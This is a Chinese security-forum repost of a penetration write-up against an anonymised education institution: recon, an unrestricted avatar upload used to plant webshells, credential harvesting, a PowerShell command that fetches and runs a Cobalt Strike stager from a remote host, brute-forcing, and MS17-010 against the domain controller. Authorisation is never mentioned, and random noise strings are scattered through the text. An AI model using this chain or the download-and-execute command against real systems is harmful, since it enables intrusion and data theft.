找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2617|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1 h% O2 U; c- ? 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路 7 C6 w7 z1 [" f1 t& Z' O& K9 B, v

0 I; O8 r) I! B, q" l

8 D* ?$ P7 M @' P" Q   ; f! m; o0 E: T2 c! }. z/ X9 N

- J: s. D) N# f" d. i8 z+ {

/ M5 a& a6 c; J6 Q8 ]# ?4 [ 正文 1 G6 s/ h4 S1 j9 ]9 r! E* S# f% w

3 ~! I+ h4 `# I* B

1 ~; V# x1 f# @! m1 z0 Y  + A% C+ Y8 S8 z+ N3 d* b9 b

" V: T; ^7 E& n! K5 T

5 T/ H/ ^$ ^+ k2 Y) I 目标：www.xxxx.com(一家教育机构)
! ~5 h, L9 g) u( `& Q打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能, [, i0 b. h- |/ h/ @6 v ?

1 t% V' ^) E; Z) K: Y

4 N0 B. }, j/ h( U ~! B vshapes= + ]1 ~0 X, M/ n! s1 \/ K: r( k( J

9 U6 d/ N0 _& \

9 P. `. x `7 G1 b 进行了简单的信息搜集
. ^+ m( J4 G' A, u0 {
: {& X1 {* p8 [) n . [( r7 h) n9 N X8 {

: w" w9 {4 l- u

9 H$ M% x2 w. R3 Z) E! p 子域名搜集 + c3 @9 g3 {7 ]0 x, u1 {& g' d

5 L+ `0 t5 F5 K& i% v# y* `) t4 K

. ?: N* s* v6 n+ E# \6 d vshapes=- K0 g. I" P, U) N% r% H

2 q: g( V3 O' Z) E) i, B

! P- f; a; e2 S& B% G7 J fofa找资产
+ O' A# l g# ?- }6 s: o" G
: K1 O2 D+ b# c( R L' O& O) f q8 f! Y0 H! I- x; V/ v

3 V; K( W$ Q1 I1 P7 |3 w% `

1 X2 E0 Y: s) W- C. d vshapes= - s# O7 u7 ]# S$ h5 g

3 R3 l& ~& E4 ~- a3 i- o

" E" _; ~, R6 e$ K$ N& [' q8 | 一共七个资产。去重之后只有两个。
1 F; Q8 E' ]3 Q- N" }" v
* X$ e: O3 [; L' x/ l + n2 L* N$ p% d. [# E& s! J6 @% x

g! k7 `* |3 T' R

9 l% l% _. M X0 m 目录探测 0 e/ p5 E; ]( ^# R

; @! E4 Q' ]9 P& F9 x+ i: @

& ^/ `; [" Y" l9 X! N0 I9 ] vshapes= 4 R7 a, R9 S$ w

: E9 l) ~( s& C0 D6 L

4 I2 q* ]3 P: X& M& v4 T X 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
) o" }/ I' h0 I9 d5 z" ~0 k
) w- A3 y. c0 T: A' I( l" {: g2 L5 L4 c, S% w* J

7 r' x4 f8 {. i' c1 `8 E

; F* S$ m. O0 g/ I7 {2 A3 c6 l 我又尝试了通过修改返回包来绕过登录界面 ) b0 o; k! I; v& W

$ @- t6 z7 v% V. E0 c u

- G N1 b6 u' q4 _3 ? vshapes= * ], u0 C& P/ d7 @3 _* u T# w

% m3 |* G. h3 _5 u

5 T: [- n; {3 v$ H% O 还是不行，尝试注入无果 " t3 x$ f, k1 R8 \! B

$ l# F5 p4 P% Z: F3 u, F

3 [. f0 z' W' a$ ^' Q3 Q2 C vshapes= 0 ^/ T! c6 ^# |; Y0 ]) h G

0 t# K; K- z% k( o$ n( ]

) H: A. m) d. j( G: P- _ 不过我目录探测出了一处Spring信息泄露
) [' H2 \! y! J: D6 y1 ]% r7 D
) U5 j& C# b0 a+ n( h3 ^ : q* @* V0 N4 N7 x

: O6 v) g4 _ B7 V/ S* s, @

" ]0 n* e4 P& e" q vshapes= % {4 A8 Y: Y- e( t, s$ k) u3 f

% q2 A8 _, t7 T/ U9 H

/ Y! d; v9 T, E- q+ i. v, E$ g 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录+ ]& u3 K' i( J) i1 Q- B- H2 z

: b# L- m. K5 G1 m

' A7 w0 h3 l) z vshapes= $ X9 A1 F9 N0 { O9 C

7 P7 K) a' v% E9 g# N

: ^0 F# k7 c8 w1 P2 D* c/ @5 H5 l' M 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。; I4 o# A* }' v8 k

$ K h+ l9 w0 N: T S# E

9 ^! o t( _7 b% R. \. [5 U' v+ q. g+ o vshapes= , ?) ^, A7 x/ Q

9 e4 h5 z7 C0 z. A. T( M% [

/ C' F) m) G2 k' P2 S 获取有些师傅到这一步就手机抓包电脑测了。9 h# C- l: A& G2 D

: K& f2 p. A* A

& D- Y2 S1 ]6 P Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 * Q: x( X2 ~& `- x2 ~/ w

3 m- t% C& T6 M& r- U6 ]0 X3 _* c

5 p. @; K5 O) q, c& u9 D 其中在一个公众号发现了小程序，可以进行注册。# A9 l( ?" a# L2 d1 d0 w

; z- z- D* v2 D, {/ n' v

) L& C0 ~& \6 g0 y% G7 ~3 c 看到了头像上传，尝试上传获取WebShell# V8 a+ A( s8 _0 ?8 r; `# \

# B. o5 ]: u% b4 r

% y5 m4 j) {2 g, \2 {8 H vshapes= 7 P4 D! r% M$ n6 S2 h

$ B1 F+ e! |- c4 A1 ?/ I; T5 O

c5 P& p% W1 C: `& l+ ~7 K2 a 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问* n9 k% G) Q* M# S) w

% E- ~. ^1 l3 \# ^

$ h" q( D& U& V% T& X& [8 \ vshapes= 4 t: ?. i% d. P% ` S0 Y7 n0 f/ o

" |& W5 X- b/ X

6 L3 k& p2 w7 m8 D+ C3 u6 Y 然后上了大马 % d* D+ X7 u' D4 U& F! |

( s4 H; k7 R7 F& u; O& R9 W

/ b, q# ~- I) A' y& l vshapes=/ s3 V: R1 C. f5 W

" f( R, V( |8 L

) N+ }' I* J- g& Y# ~ vshapes= ) p3 i8 c* G; @4 F, o

* u1 O4 }% Z6 ]8 c

% G4 C! I. d" u% V. A* _ 通过翻找文件发现数据库账号密码 / i+ d( w3 Y9 k) }3 [

9 E' e- E8 ?/ |. t5 q- u1 t0 P

% [" @# F0 I+ }: ]/ U vshapes=" s& L, ]+ r! n$ y4 M

B9 c! E- d1 O7 S$ S% H

7 c& P' h- _, }7 X: c% K --内网渗透 & z# u. L4 m1 G Y$ ~7 k

1 K3 `" d- s! x" g" @5 z! y

! `; g N" w' C9 m) I) b L 直接通过powershell执行 cs上线 8 _ x% K, W" g% U

7 m- B2 _' K5 J! D- K! }

# f r( f5 m/ T5 p) e! l% ]5 U powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"5 q P9 z0 p: d1 K

) n' q7 v: I4 h* |; R- m

$ J. c2 q1 w$ x5 p7 D& k vshapes= 3 C1 C0 a5 t6 X/ s# h! D1 U

7 D+ G r8 N+ f" [& F1 V' l

" z5 W/ X9 F: y7 K. Y+ L& t' I; \6 I* m 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破# S0 T& c! i3 F1 i1 m ?

3 `: q- v% S. ^# r; m- W

$ Y E9 a# K7 L+ ]0 S+ P8 Z vshapes= 2 T) V, _0 I$ z

* V9 y! n5 n N) S7 a

# I: u7 @# z+ l! A' }" g+ i 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
! I, I" l2 L& d( f5 B
x8 O& B4 ~0 Q5 R( g
7 v2 X- d+ J9 z8 e. F 3 Z9 C/ t* B4 \5 ~

0 x6 ?# E6 p! E- ^

- z' q) P! s+ R8 T* P# V% \ vshapes= 2 ]6 {3 _% s" l

/ j' p- t4 t- ~) g

6 b2 U9 e$ s/ { 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
6 L( B" p9 i% ^) H
5 O- \0 e5 e5 {* Z+ ` 2 q$ Z: y5 a }. _

5 w4 b0 t: Q4 ?+ t: }" _

: K8 h5 F; I* k vshapes= ( R2 g2 e$ z" n& }* j A

% n* Y6 v, w/ n

( A6 u9 O( G( Q( L* ~; ^! z
* h- Q& [- Z6 Q- k5 l
7 n/ e2 q" X) E7 @ 3 m7 u$ M ^0 i, y. o

; {0 i( O" s& F+ O

; \$ F' |2 c2 Y. m& ]6 L& E( b  6 X! |4 B( ]6 X7 X1 Y4 R' a

/ P j) R- z" j6 U2 z

, i& [' A- e9 a( x, @ 小结 0 _5 H2 R1 `" y9 x, d9 B

! r8 O: H5 c8 x- |" D4 z4 T) N

7 Z! ]; Y, c5 A8 O2 i5 i H  + R- d" e; O- B2 Y) W

: z0 c' R1 r) P

* s0 \ I$ n% l$ O, Z 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！ # p# a; N% [: o* B1 D2 h* p: Y

% i# ?3 I2 S' G, Y; c2 U

+ K8 {* j( \% Z" |0 Z) I s   . A$ ~2 h* }, L

3 _, q( ]2 W( m* J$ k8 q! ^
    ; d3 I }/ L+ }# q
  • . X# O8 d: G8 a  4 m% S) X! d( I5 u `5 e
    • " _) V e1 v$ M4 o
  • 8 C" E$ [, P2 z4 [   ) a3 w6 N w2 L' }: }& W
    • : i1 m" ^- q+ W4 t: A" v
c7 }0 }' T$ S; |6 A8 ~) P4 m9 q' G

1 W! J! {0 w0 h4 l 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html 7 d( L% o/ b4 {+ J$ E& B

: _ T" b8 i7 `4 n* _& V9 f0 ~

8 e5 Q' X2 T- ~6 f  3 G8 ^: e- I3 H1 Q( U

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表